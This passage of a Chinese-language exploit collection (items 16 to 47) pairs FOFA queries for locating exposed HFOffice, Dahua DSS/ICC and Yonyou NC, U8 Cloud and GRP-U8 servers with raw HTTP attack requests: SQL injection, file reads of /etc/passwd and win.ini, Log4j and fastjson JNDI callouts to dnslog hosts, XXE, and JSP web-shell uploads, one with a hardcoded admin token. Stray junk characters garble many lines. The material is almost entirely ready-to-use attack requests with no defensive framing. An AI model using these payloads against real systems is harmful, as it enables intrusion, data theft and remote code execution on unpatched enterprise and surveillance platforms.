( D8 t% {0 n; I0 t6 AAccept-Encoding: gzip

$ e9 T5 O9 o. z% E
: M( ]+ L; {7 H  Z  T! S16.  红帆HFOffice医微云SQL注入
( o& u) s" T( p' GFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
9 a" F5 m6 b3 B  bGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
/ M4 L; O8 F( Y, m# zHost: x.x.x.x
' y9 y+ e# l3 Z3 cUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
4 c  D! F+ ?6 x0 m0 s4 pAccept: */*
Accept-Language: en
+ v3 R8 l$ i6 dAccept-Encoding: gzip
) B' h/ r5 W6 o7 O/ Y

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ M& G" i4 J7 H" zConnection: close
5 `- ?, b9 v) R4 t3 }Content-Length: 345
0 X1 ?1 Y( M5 U! dAccept-Encoding: gzip
& [% E! D1 u. B# I+ M9 j6 c
7 ]4 Z' R% |! @# `* u<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
# ~* r3 R- C- F% Y* r7 N! [3 ^    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
) H* ]6 J% H2 V1 t1 x* s/ N- e% N9 p$ p      <netMarkings>
) b( ^0 W; \$ N4 y! O- `' G       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
8 L# M. ~8 Z: `- B6 W. z% }      </netMarkings>
    </ns1:deleteBulletin>
) d1 a  v7 r5 ~  </s11:Body>
</s11:Envelope>


8 t! k" ]5 |) }2 d7 e18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
* C. d$ @1 D& ?' K/ I% ]2 [  vGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) n, c2 s) O; M( s. pHost: your-ip
8 E# Q; z! V2 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! b+ {4 G0 i# L) ]( D6 C$ o' lAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: L0 j3 q  S: d+ p9 B
$ I3 T# `2 w+ D+ s: d! \4 e

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
; g( O: h5 L" f" L. DGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
) V/ l! g7 s7 C) k" HUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
2 Q( M: ~& G; \5 w! w! m" OAccept: */*
Connection: keep-alive
7 d; c' m5 Q7 l% F0 i+ a. x* t
. p- s: a' n; c$ y' u. W: ?4 u
20. 大华ICC智能物联综合管理平台任意文件读取
; Y+ g5 ^5 y4 Z$ y/ [/ UFOFA：body="*客户端会小于800*"
3 u% G! [9 E: B7 @& sGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
. ?; S8 b9 c; ^. Z' ~' ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 ?+ Z8 b4 N4 I3 X$ D: }- w- dConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
9 t0 e6 H% s/ t) p9 f& |' G2 p
  `' e# }* d3 `
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
. P1 e% |5 j6 _6 E$ F' @: ePOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
& J) t9 ?2 s: Y+ B0 _Host: x.x.x.x
; ]- n9 W+ C: g8 r8 R4 ^0 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
! V" ~# ]: @2 M/ A3 v4 e: uAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

{
0 D9 S2 w' T* U8 b"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
# E; ~0 o1 q' K1 C4 b    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
+ [0 J$ _2 [# y- f3 }  }""
}
* |) A0 y0 Q; H) x

( R' V8 H' P; V7 X, r22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
5 m1 O( J, _: g, {2 \
{
$ K/ Z4 ?# S7 V8 K4 W+ N4 y8 {  i"loginName":"${jndi:ldap://dnslog}"
1 ]1 W# z! u6 B6 \  S}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 S, c+ J( {# ~: }4 U7 PHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 l5 _5 t1 E' y! MContent-Type: application/json;charset=utf-8
" b3 B3 [- R3 w3 zAccept-Encoding: gzip
: c6 M' z# \4 PConnection: close
0 g; }. [$ T, C1 x. v! [
0 Y3 p5 t8 ]3 j& {) _( x) O{
' F3 r8 j! c  Z% l5 R5 o$ ~; M7 L    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


) b" g& G- f8 ?9 R24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
- T. Z2 A3 J3 J8 a2 s$ ^5 U/ uPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
6 ]7 R+ n' [  W: s3 s+ tConnection: close
Content-Length: 449
Accept: */*
0 z! N: F- S# |$ L& w2 A& UAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

6 \7 O/ o, p( Y8 j6 X-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
( A- v) k" h; l" E) j; zContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
8 @$ Z: l5 v# s; y% s9 Z2 o
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
6 D( I) n- s# w& Q-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
6 c1 R" K2 {, m, LContent-Disposition: form-data; name="fname"

$ l! ?; H4 I) G9 x7 F+ h\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
- J2 l3 C" I$ A. M2 p8 v4 R-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
2 Z. \/ V6 w$ c. g7 F) Z5 o

25. 用友NC registerServlet JNDI 远程代码执行
( y6 F# e! }1 X6 oFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
3 [$ T) C; }9 k9 H9 J$ _6 cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
  o/ Z9 m2 D, S* k6 G1 J+ PContent-Type: application/x-www-form-urlencoded
& S9 ~: c7 g1 T! R0 ]
type=1&dsname=ldap://dnslog
. \$ S0 B: z1 c9 J5 h3 T2 |
: z- I' N- P$ J, \2 e5 Q
( N1 ]9 z1 T* N9 y# N+ `$ @0 G+ C
  z% l: S2 s" J, L: o26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
2 N9 ]# C: J. _GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- B9 j+ ]) H/ r: H" l  MHost: your-ip
! i- q: G8 m) w0 ^4 I; ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* l. x6 B* y1 Q3 x+ d4 F" K# _Accept-Encoding: gzip, deflate
Accept: */*
7 x3 g: @& @# Z" ^# [7 eConnection: keep-alive

& z8 B0 ~6 J  k& ]
7 C6 {  a) k6 ]- Y1 k27. 用友 NC showcontent SQL注入
) l) @/ S0 J9 l- V7 T0 J* KFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
, j3 h7 N/ [3 g* ~Content-Type: text/xml; charset=utf-8
. y; E1 j* t2 }
7 F$ H( `! k8 E1 o% i* ~
) _' R# O4 i7 b28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
& D7 X9 Y& y1 F# G& k* IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: P8 {% P6 o& T" Q5 ?; W" \Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
8 K  [9 s- r. _4 ]  G! gAccept-Encoding: gzip

6 h, m5 P/ E6 n/ ]# V: p------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
  i# Z+ g; u4 C- _8 ]0 dContent-Type: application/octet-stream
3 v7 z3 F. F7 k0 ]0 i! M! S
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

$ a# e5 K9 u. |2 P
: v  X; g) o4 P1 K* P( J5 e/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
( ^# v- W9 {1 S( G7 lFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
' W/ [7 r% }1 G, S+ J+ b, `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- q. N7 [( d2 U4 m4 ^+ s6 O8 G$ G5 IContent-Type: application/x-www-form-urlencoded
. ?; h5 f* E, @# f; eAccept-Encoding: gzip, deflate
. j) E: ]( i8 O9 ~, K" iAccept: */*
0 S. y. ^5 P8 O7 T0 ZConnection: keep-alive
7 b. @8 i& ~' R$ M* \: {# v6 p7 Y2 g
* b9 v( t  ^9 @+ y
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
2 G8 r, p' v# }" b3 T) hHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
3 }) E, I. O! H  cContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


. a! m3 S# G+ V; a31. 用友NC runStateServlet SQL注入
2 L3 d. r. I2 [+ wversion<=6.5
7 y8 `8 |2 v9 p9 O, xFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
$ v, }" X7 Y7 g/ ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& f7 e  U1 v' M- UContent-Type: application/x-www-form-urlencoded


( [  h2 C' E- X32. 用友NC complainbilldetail SQL注入
& N9 h8 w- ?  E4 G: ?version= NC633、NC65
* N& I8 f: F# h* [FOFA：app="用友-UFIDA-NC"
! y. z4 d( V" e. vGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& z5 R% r+ `  q% b* O; {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
9 p5 N/ V& h) ^% y3 p( P9 e- HAccept-Encoding: gzip, deflate
; Z, D( ^: C; UAccept: */*
Connection: keep-alive
+ |* M# [4 R5 X) r0 W

7 R/ f0 m/ d; H3 B2 N2 s33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 t8 l; _# l! |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  r  P2 p) t! l7 T; s( tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
2 q3 F1 q' P. h7 `1 U  OConnection: keep-alive
& G: F$ v' o# ?' \8 D: ^
; J9 `, h9 l) Q' X  N
% K, y  Q" R  E/ B- g, E34. 用友NC warningDetailInfo接口SQL注入
7 r% G0 x# M+ Z* D7 C2 {3 eFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ [, z( G8 j* Z, xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 e7 p' I  D% e" V$ n" T. ^Content-Type: application/x-www-form-urlencoded
* ?- m: y* n- ~# LAccept-Encoding: gzip, deflate
3 P/ l' K4 b1 u$ K* |Accept: */*
8 U$ ]7 v+ {) f' HConnection: keep-alive
* o2 ~9 o* R, o! ]0 x
* h) m* M! z3 R6 O  w
4 b* J6 ]% C2 G35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
9 h3 C) k' g( b, m) g- Y- W$ ~3 E2 _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
5 ?; \$ g% p& g9 B2 cConnection: close
7 q6 A; ^/ H$ M# R( TaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
' P5 z+ H2 ^0 R/ y% tContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

- d6 R  i0 o4 t4 q<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


9 P! h. |0 F5 S  V* @& \$ c/ a36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
5 i% J; n) l7 n+ GContent-Length: 263
5 g6 a% n. X! H; m0 a. I0 F" ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
: J( N8 Y8 G; i0 A6 Q% p1 V: r& HUpgrade-Insecure-Requests: 1

0 k# B. |" ]2 A" }) Z! V6 b8 Z: k5 gmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

- r  j! p8 H0 ?. X
7 f8 N( ?3 J( I, y7 m9 n37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
* @0 d0 w& G2 QHost: 192.168.40.130:8989
1 C6 ?7 |0 @0 K8 J% u% L2 c- KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
% i* H! T& n+ D5 l2 Z% IContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) W7 k# Q8 o* G% y6 TAccept-Encoding: gzip, deflate
6 d, N0 P" }6 _' h8 c9 v. aAccept-Language: zh-CN,zh;q=0.9
! G8 C8 M3 B, H; c7 UConnection: close
# G: A! T; J* f, s$ |Content-Type: text/xml;charset=UTF-8
9 D3 X4 E; r' i& B3 OSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

* y) i2 N; d# Q<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
9 U: C3 H0 j" W/ r+ E  \<iup:getResult>
2 i5 J, g9 [( D<!--type: string-->
/ X& d0 ?7 ?5 o6 _2 |. m+ z<iup:string><![CDATA[
7 t0 D* r/ Z& u; q6 c<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
4 G% ^( r4 e8 R* A- T( _/ t</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
9 n, S7 r: A" v' k$ SFOFA：app="用友-U8-Cloud"
/ f+ m/ F. v; m8 Y8 W( v) \$ s* h0 k3 UPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% j6 l' D. I$ i9 y% l% hConnection: close
Content-Type: application/x-www-form-urlencoded
( a8 U! M/ x* ?# O$ e* @
8 i2 V( B% [0 G7 c& W  ]4 [__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
$ a7 g' K  r- u% [

4 }; Y8 t/ N) _0 T5 j) X  n39. 用友U8 Cloud RegisterServlet SQL注入
" F/ r* o- j5 g4 F  R5 X4 \9 vFOFA：title="u8c"
9 ^$ ~3 S8 ?+ U5 I8 @# x- lPOST /servlet/RegisterServlet HTTP/1.1
! k' y- b1 V2 A5 I: u0 L  ?Host: 192.168.86.128:8089
: F: b! r& q; z  V$ ?; wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
* S+ v1 R; w( U, [Connection: close
: A' A2 {/ y% Q) |Content-Length: 85
Accept: */*
9 r- _/ |. U7 V( M7 I* w  r* hAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
) n; g# e: D/ ]2 x; B% mAccept-Encoding: gzip
8 H0 H9 f- a! e. ^
& g0 T3 x+ y6 Musercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
3 e' x" d  v4 \FOFA：app="用友-U8-Cloud"
$ [; |; a8 j: E6 u8 g) xPOST /service/XChangeServlet HTTP/1.1
5 C/ v5 {& J, d1 B, NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 S$ P# M8 I" Y2 c* v$ U& AContent-Type: text/xml
: |, t6 v* L/ bConnection: close

5 a. _, [2 g- d( F. _# E<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
2 P2 X4 {3 y! F* ~0 j" q2 M
; l5 U% ^) p9 C. h* \. B& L' R
& D4 Y5 V5 q5 N* P* }* v; @% h41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% {) x# g. s% N6 RFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
% ^2 b( v: w- p( i/ |Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( ?% U& i6 a* MContent-Type: application/json
; k# o) t5 b+ s0 CAccept-Encoding: gzip
. c" L; M$ y7 ?0 T) g" QConnection: close

' p) I' @9 T5 `6 f% Y  N1 L* d
9 l4 C" I/ s0 m0 {7 G42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
; j9 D) T3 d% o6 \POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
  Y6 H) U/ E% J6 `$ L. uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


* l3 x2 y# W: A9 }http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 W& V3 Q0 T1 P1 \6 q/ P
6 w4 b7 G; G6 W% U: ?8 _43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 v* I7 W  @% K0 Q! D+ ]FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
7 [  J6 Q+ q  THost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- E" o) h4 B: {* r& D+ ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' z" E, R9 S! w1 a, R- Z# A9 Q$ y) UConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

7 I5 g- G/ a5 j/ [& B$ z7 V  F<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
+ c9 A, T9 E0 L5 [. r1 O0 G  ~   <soapenv:Header/>
   <soapenv:Body>
7 V9 |$ X8 m+ \) p. C$ H! D      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
3 J  X6 E6 ], G" [         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
" G# E+ i% ?: W* l</soapenv:Envelope>


; R1 w1 x  n1 R- z44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
* m0 i6 N/ j  K" d2 r/ R! ?0 YGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
, L2 M+ W% a/ `  g! JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. b, G$ E( y# {0 ^1 a+ e" s, EAccept-Language: zh-CN,zh;q=0.9
# {5 D8 i+ b7 c& hConnection: close


45. 用友GRP-U8 ufgovbank XXE
* N" z4 z& i/ n9 R" f5 B2 ]0 RFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
) Z$ f0 z2 j3 r4 F1 hHost: 192.168.40.130:222
6 R# }" T! J% f! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
+ f: u/ T: t! cConnection: close
, {* a2 L. I3 Y8 C0 f8 XContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 v# _) v* E* }+ G& _Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 F1 T0 r' K% q( B$ Q, L
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
; b; U. h* z! H9 W  E4 j
! i9 N+ n; Q# {
9 k6 R& y$ s, ^3 {/ D8 x; ?46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
. @3 R. I* f1 `; H2 o2 ZGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
1 F: H6 ~% e% `- LHost: your-ip
1 c* Y6 \7 y8 T: t2 Y5 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
+ t0 @( b! l- Y8 `: n) e  KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, L$ w( D5 @$ e+ @1 H; pAccept-Language: zh-CN,zh;q=0.9
% J6 t. A* n3 T" b0 WConnection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
